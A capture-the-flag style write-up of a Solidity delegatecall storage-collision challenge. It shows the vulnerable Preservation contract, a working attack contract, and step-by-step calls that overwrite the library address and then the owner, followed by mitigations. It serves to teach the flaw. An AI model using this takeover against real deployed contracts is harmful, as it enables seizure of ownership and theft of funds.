Delegatecall Storage Exploit
Challenge
Goal: Claim ownership of the Preservation contract by abusing how it uses delegatecall to external “library” contracts.
Key idea: delegatecall executes code in the caller’s storage context. If the library’s storage layout doesn’t match the caller’s, a library write can overwrite important variables (like addresses or owner). We will use that to (1) replace a library address with our malicious contract, and then (2) call into our malicious code which sets owner to the attacker address.
Vulnerable contracts
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Preservation {
// public library contracts
address public timeZone1Library; // slot 0
address public timeZone2Library; // slot 1
address public owner; // slot 2
uint256 storedTime; // slot 3
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint256 _timeStamp) public {
// delegatecall to library - runs library code in Preservation's storage context
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint256 _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp (slot 0 in library)
uint256 storedTime;
function setTime(uint256 _time) public {
storedTime = _time;
}
}
Malicious library (attack contract)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract MaliciousLibrary {
// align storage with Preservation (so slot indices match)
address public timeZone1Library; // slot 0
address public timeZone2Library; // slot 1
address public owner; // slot 2
uint256 public storedTime; // slot 3
// this function will be executed in Preservation's storage via delegatecall
function setTime(uint256 _time) public {
// overwrite Preservation.owner (slot 2) with msg.sender
owner = msg.sender;
}
}
Why this works (simple)
delegatecallruns the code of the target contract but uses the caller’s storage.LibraryContract.setTimewrites_timeinto slot 0 (itsstoredTime).- In
Preservation, slot 0 istimeZone1Library, notstoredTime. - So calling
setFirstTime(...)writes intotimeZone1Library— letting us replace the library address with an address we control. - After we replace
timeZone1Librarywith our malicious contract, callingsetFirstTime(...)again executesMaliciousLibrary.setTimeinPreservation’s storage context, which writes to slot 2 (theownervariable inPreservation) and sets it tomsg.sender(the attacker).
Attack — step-by-step (very simple words)
-
Deploy two normal library instances.
- Deploy
LibraryContracttwice (call themLib1andLib2).
- Deploy
-
Deploy the vulnerable Preservation contract.
- Provide
Lib1.addressandLib2.addressto thePreservationconstructor. - Check
owner— it should be the deployer initially.
- Provide
-
Deploy the
MaliciousLibrarycontract.- This contract's
setTimewill setowner = msg.senderwhen executed viadelegatecall.
- This contract's
-
Overwrite
timeZone1LibraryinPreservationwith the malicious library address.- Call
preservation.setFirstTime(uint256(address(MaliciousLibrary))). - Why: When the real library's
setTimewrites to slot 0, it stores the numeric value you passed intotimeZone1Library(slot 0 inPreservation) — thereby replacing the library address with your malicious library. - Practically: pass the
MaliciousLibraryaddress as auint(e.g., usingethers.BigNumber.from(malicious.address)in a script or paste the 0x... value into Remix — Remix accepts hex numeric inputs).
- Call
-
Trigger the malicious code to set the owner.
- Call
preservation.setFirstTime(0)(or any number). - Now
timeZone1Librarypoints to yourMaliciousLibrary.Preservationdelegatecalls intoMaliciousLibrary.setTime, and inside that functionowner = msg.senderexecutes inPreservation’s storage — settingPreservation.ownerto your EOA address (the caller).
- Call
-
Verify success
- Read
preservation.owner()— it should now be your address.
- Read
Mitigations
- Avoid storing externally-changeable library addresses in mutable storage (or make them
immutable/constantif they truly must never change). - Avoid delegatecall to external contracts you cannot guarantee —
delegatecallruns using your contract’s storage and can be very dangerous if the target code or storage layout is not fully trusted. - If delegation is required, design a fixed storage layout and strict access control (for example, restrict callers that can change library addresses —
onlyOwner). - Use modern patterns (trusted, well-audited proxies and upgrade patterns; or embed code instead of delegating to external, mutable contracts).
Conclusion
This challenge demonstrates the crucial lesson: delegatecall preserves the caller’s storage context, and incorrect storage layout or mutable library addresses allow an attacker to overwrite important variables (like owner). Always treat delegatecall with great caution.